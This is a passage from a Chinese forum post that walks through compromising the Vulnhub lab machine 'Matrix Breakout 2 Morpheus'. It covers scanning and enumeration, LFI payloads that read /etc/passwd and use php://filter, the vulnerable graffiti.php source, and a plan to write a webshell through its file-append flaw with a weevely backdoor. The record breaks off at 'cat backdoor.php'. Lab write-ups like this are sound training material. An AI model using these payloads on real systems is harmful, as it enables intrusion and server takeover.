Vulnhub之Matrix Breakout 2 Morpheus靶机详细测试过程

打印 上一主题 下一主题

主题 910|帖子 910|积分 2730

Matrix Breakout:2 Morpheus

靶机信息

名称:Matrix-Breakout: 2 Morpheus
地址:
  1. https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
复制代码
虽然作者提示该靶机最好是在VirtualBox部署,但是经过测试,本靶机在VirtualBox无法启动,更适合导入到Vmware中。
识别目标主机IP地址
  1. (kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ sudo netdiscover -i eth1 -r 10.1.1.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                             
  3.                                                                                                                                                             
  4. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  5. _____________________________________________________________________________
  6.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  7. -----------------------------------------------------------------------------
  8. 10.1.1.1        00:50:56:c0:00:01      1      60  VMware, Inc.                                                                                             
  9. 10.1.1.154      00:0c:29:e3:18:3e      1      60  VMware, Inc.                                                                                             
  10. 10.1.1.254      00:50:56:e9:4a:e8      1      60  VMware, Inc.      
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为10.1.1.254
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ sudo nmap -sS -sV -sC -p- 10.1.1.154 -oN nmap_full_scan
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 06:11 EDT
  4. Nmap scan report for bogon (10.1.1.154)
  5. Host is up (0.00088s latency).
  6. Not shown: 65532 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
  9. | ssh-hostkey:
  10. |_  256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
  11. 80/tcp open  http    Apache httpd 2.4.51 ((Debian))
  12. |_http-title: Morpheus:1
  13. |_http-server-header: Apache/2.4.51 (Debian)
  14. 81/tcp open  http    nginx 1.18.0
  15. |_http-title: 401 Authorization Required
  16. | http-auth:
  17. | HTTP/1.1 401 Unauthorized\x0D
  18. |_  Basic realm=Meeting Place
  19. |_http-server-header: nginx/1.18.0
  20. MAC Address: 00:0C:29:E3:18:3E (VMware)
  21. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  22. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  23. Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds
复制代码
NMAP扫描结果表明目标足迹有3个开放端口:22(ssh)、80(http)、81(http)
获得Shell

首先利用浏览器访问80端口,将图片下载到本地:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ ls      
  3. nmap_full_scan  trinity.jpeg
  4.                                                                                                                                                             
  5. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  6. └─$ steghide extract -sf trinity.jpeg
  7. Enter passphrase:
  8.                                                                                                                                                             
  9. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  10. └─$ stegseek trinity.jpeg            
  11. StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
  12. [i] Progress: 99.67% (133.0 MB)           
  13. [!] error: Could not find a valid passphrase.
  14.                                                                                                                                                             
  15. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  16. └─$ exiftool trinity.jpeg                                                                                                         
  17. ExifTool Version Number         : 12.49
  18. File Name                       : trinity.jpeg
  19. Directory                       : .
  20. File Size                       : 44 kB
  21. File Modification Date/Time     : 2023:04:09 06:14:06-04:00
  22. File Access Date/Time           : 2023:04:09 06:15:07-04:00
  23. File Inode Change Date/Time     : 2023:04:09 06:14:06-04:00
  24. File Permissions                : -rw-r--r--
  25. File Type                       : JPEG
  26. File Type Extension             : jpg
  27. MIME Type                       : image/jpeg
  28. JFIF Version                    : 1.01
  29. Resolution Unit                 : inches
  30. X Resolution                    : 72
  31. Y Resolution                    : 72
  32. Profile CMM Type                : Linotronic
  33. Profile Version                 : 2.1.0
  34. Profile Class                   : Display Device Profile
  35. Color Space Data                : RGB
  36. Profile Connection Space        : XYZ
  37. Profile Date Time               : 1998:02:09 06:49:00
  38. Profile File Signature          : acsp
  39. Primary Platform                : Microsoft Corporation
  40. CMM Flags                       : Not Embedded, Independent
  41. Device Manufacturer             : Hewlett-Packard
  42. Device Model                    : sRGB
  43. Device Attributes               : Reflective, Glossy, Positive, Color
  44. Rendering Intent                : Perceptual
  45. Connection Space Illuminant     : 0.9642 1 0.82491
  46. Profile Creator                 : Hewlett-Packard
  47. Profile ID                      : 0
  48. Profile Copyright               : Copyright (c) 1998 Hewlett-Packard Company
  49. Profile Description             : sRGB IEC61966-2.1
  50. Media White Point               : 0.95045 1 1.08905
  51. Media Black Point               : 0 0 0
  52. Red Matrix Column               : 0.43607 0.22249 0.01392
  53. Green Matrix Column             : 0.38515 0.71687 0.09708
  54. Blue Matrix Column              : 0.14307 0.06061 0.7141
  55. Device Mfg Desc                 : IEC http://www.iec.ch
  56. Device Model Desc               : IEC 61966-2.1 Default RGB colour space - sRGB
  57. Viewing Cond Desc               : Reference Viewing Condition in IEC61966-2.1
  58. Viewing Cond Illuminant         : 19.6445 20.3718 16.8089
  59. Viewing Cond Surround           : 3.92889 4.07439 3.36179
  60. Viewing Cond Illuminant Type    : D50
  61. Luminance                       : 76.03647 80 87.12462
  62. Measurement Observer            : CIE 1931
  63. Measurement Backing             : 0 0 0
  64. Measurement Geometry            : Unknown
  65. Measurement Flare               : 0.999%
  66. Measurement Illuminant          : D65
  67. Technology                      : Cathode Ray Tube Display
  68. Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
  69. Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
  70. Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
  71. Image Width                     : 709
  72. Image Height                    : 399
  73. Encoding Process                : Progressive DCT, Huffman coding
  74. Bits Per Sample                 : 8
  75. Color Components                : 3
  76. Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
  77. Image Size                      : 709x399
  78. Megapixels                      : 0.283
  79.                                                                                                                                                             
  80. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  81. └─$
  82.                                                                                                                                                             
  83. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  84. └─$ binwalk -e trinity.jpeg
  85. DECIMAL       HEXADECIMAL     DESCRIPTION
  86. --------------------------------------------------------------------------------
  87. 0             0x0             JPEG image data, JFIF standard 1.01
  88. 382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
复制代码
从图片本身没有得到更多的信息。
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ curl http://10.1.1.154/robots.txt                                                     
  3. There's no white rabbit here.  Keep searching!
  4.                                                                                                                                                             
  5. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  6. └─$ nikto -h http://10.1.1.154      
  7. - Nikto v2.1.6
  8. ---------------------------------------------------------------------------
  9. + Target IP:          10.1.1.154
  10. + Target Hostname:    10.1.1.154
  11. + Target Port:        80
  12. + Start Time:         2023-04-09 06:14:42 (GMT-4)
  13. ---------------------------------------------------------------------------
  14. + Server: Apache/2.4.51 (Debian)
  15. + The anti-clickjacking X-Frame-Options header is not present.
  16. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  17. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  18. + No CGI Directories found (use '-C all' to force check all possible dirs)
  19. + Server may leak inodes via ETags, header found with file /, inode: 15c, size: 5cf63c252ab85, mtime: gzip
  20. + Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
  21. + 7889 requests: 0 error(s) and 5 item(s) reported on remote host
  22. + End Time:           2023-04-09 06:15:41 (GMT-4) (59 seconds)
  23. ---------------------------------------------------------------------------
  24. + 1 host(s) tested
  25.       *********************************************************************
  26.       Portions of the server's headers (Apache/2.4.51) are not in
  27.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  28.       to submit this information (*no server specific data*) to CIRT.net
  29.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ gobuster dir -u http://10.1.1.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
  3. ===============================================================
  4. Gobuster v3.4
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://10.1.1.154
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.4
  13. [+] Extensions:              php,html,js,sh,txt
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/09 06:17:21 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.html                (Status: 403) [Size: 275]
  19. /.php                 (Status: 403) [Size: 275]
  20. /index.html           (Status: 200) [Size: 348]
  21. /javascript           (Status: 301) [Size: 313] [--> http://10.1.1.154/javascript/]
  22. /robots.txt           (Status: 200) [Size: 47]
  23. /graffiti.txt         (Status: 200) [Size: 139]
  24. /graffiti.php         (Status: 200) [Size: 451]
  25. /.php                 (Status: 403) [Size: 275]
  26. /.html                (Status: 403) [Size: 275]
  27. /server-status        (Status: 403) [Size: 275]
  28. Progress: 1318968 / 1323366 (99.67%)
  29. ===============================================================
  30. 2023/04/09 06:19:32 Finished
  31. ===============================================================
复制代码
利用Gobuster工具识别出两个文件:graffiti.txt,graffiti.php,访问这两个文件:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
  2. └─$ curl http://10.1.1.154/graffiti.txt                                             
  3. Mouse here - welcome to the Nebby!
  4. Make sure not to tell Morpheus about this graffiti wall.
  5. It's just here to let us blow off some steam.
  6.                                                
复制代码
  1. http://10.1.1.154/graffiti.php
复制代码
访问该URL,可以发送message,经过简单测试,Message字段存在XSS跨站脚本攻击漏洞,但是不好利用这个漏洞,继续分析。
利用Burpsuite拦截请求,发现在利用post提交message的时候,有参数file
<img alt="" loading="lazy">
因此可能存在本地文件包含漏洞。
修改为:
  1. message=bob&file=../../../../../etc/passwd
复制代码
但是返回:"Cannot open file: ../../../../../etc/passwd",可以用php filter绕过过滤:
  1. message=bob&file=php://filter/convert.base64-encode/resource=graffiti.php
复制代码
得到返回:
  1. PGgxPgo8Y2VudGVyPgpOZWJ1Y2hhZG5lenphciBHcmFmZml0aSBXYWxsCgo8L2NlbnRlcj4KPC9oMT4KPHA+Cjw/cGhwCgokZmlsZT0iZ3JhZmZpdGkudHh0IjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSkpIHsKICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGZpbGUsICdhKycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogJyAuICRmaWxlKTsKICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJF9QT1NUWydtZXNzYWdlJ10pOwoJZndyaXRlKCRoYW5kbGUsICJcbiIpOwogICAgICAgIGZjbG9zZSgkZmlsZSk7IAogICAgfQp9CgovLyBEaXNwbGF5IGZpbGUKJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCJyIik7CndoaWxlICghZmVvZigkaGFuZGxlKSkgewogIGVjaG8gZmdldHMoJGhhbmRsZSk7CiAgZWNobyAiPGJyPlxuIjsKfQpmY2xvc2UoJGhhbmRsZSk7Cj8+CjxwPgpFbnRlciBtZXNzYWdlOiAKPHA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bmRsZSk7Cj8+CjxwPgpFbnRlciBtZXNzYWdlOiAKPHA+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxsYWJlbD5NZXNzYWdlPC9sYWJlbD48ZGl2PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZXNzYWdlIj48L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9ImdyYWZmaXRpLnR4dCI+CjxkaXY+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlBvc3Q8L2J1dHRvbj48L2Rpdj4KPC9mb3JtPgpZbTlpQ2c9PQ==' | base64 -d
  3. <h1>
  4. <center>
  5. Nebuchadnezzar Graffiti Wall
  6. </center>
  7. </h1>
  8. <p>
  9. <?php
  10. $file="graffiti.txt";
  11. if($_SERVER['REQUEST_METHOD'] == 'POST') {
  12.     if (isset($_POST['file'])) {
  13.        $file=$_POST['file'];
  14.     }
  15.     if (isset($_POST['message'])) {
  16.         $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
  17.         fwrite($handle, $_POST['message']);
  18.         fwrite($handle, "\n");
  19.         fclose($file);
  20.     }
  21. }
  22. // Display file
  23. $handle = fopen($file,"r");
  24. while (!feof($handle)) {
  25.   echo fgets($handle);
  26.   echo "<br>\n";
  27. }
  28. fclose($handle);
  29. ?>
  30. <p>
  31. Enter message:
  32. <p>
  33. <form method="post">
  34. <label>Message</label><input type="text" name="message">
  35. <input type="hidden" name="file" value="graffiti.txt">
  36. <button type="submit">Post</button>
  37. </form>
  38. Ym9iCg==            
复制代码
从代码可知:
  1. $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
复制代码
在Message部分协议php reverse shell代码,然后File字段比如叫做jason_shell.php
这样就会将message的内容写入jason_shell.php文件中。
<img alt="" loading="lazy">
上传php reverse代码出错,看来不能上传长度过长的代码,改用weevely产生backdoor.php
[code]──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]└─$ weevely generate jason backdoor.phpGenerated 'backdoor.php' with password 'jason' of 764 byte size.                                                                                                                                                             ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]└─$ ls -alh total 64Kdrwxr-xr-x  2 kali kali 4.0K Apr  9 06:46 .drwxr-xr-x 19 kali kali 4.0K Apr  9 06:08 ..-rw-r--r--  1 kali kali  764 Apr  9 06:46 backdoor.php-rwx------  1 kali kali 2.3K Apr  9 06:40 jason_shell.php-rw-r--r--  1 root root  966 Apr  9 06:11 nmap_full_scan-rw-r--r--  1 kali kali  44K Apr  9 06:14 trinity.jpeg                                                                                                                                                             ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]└─$ cat backdoor.php
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表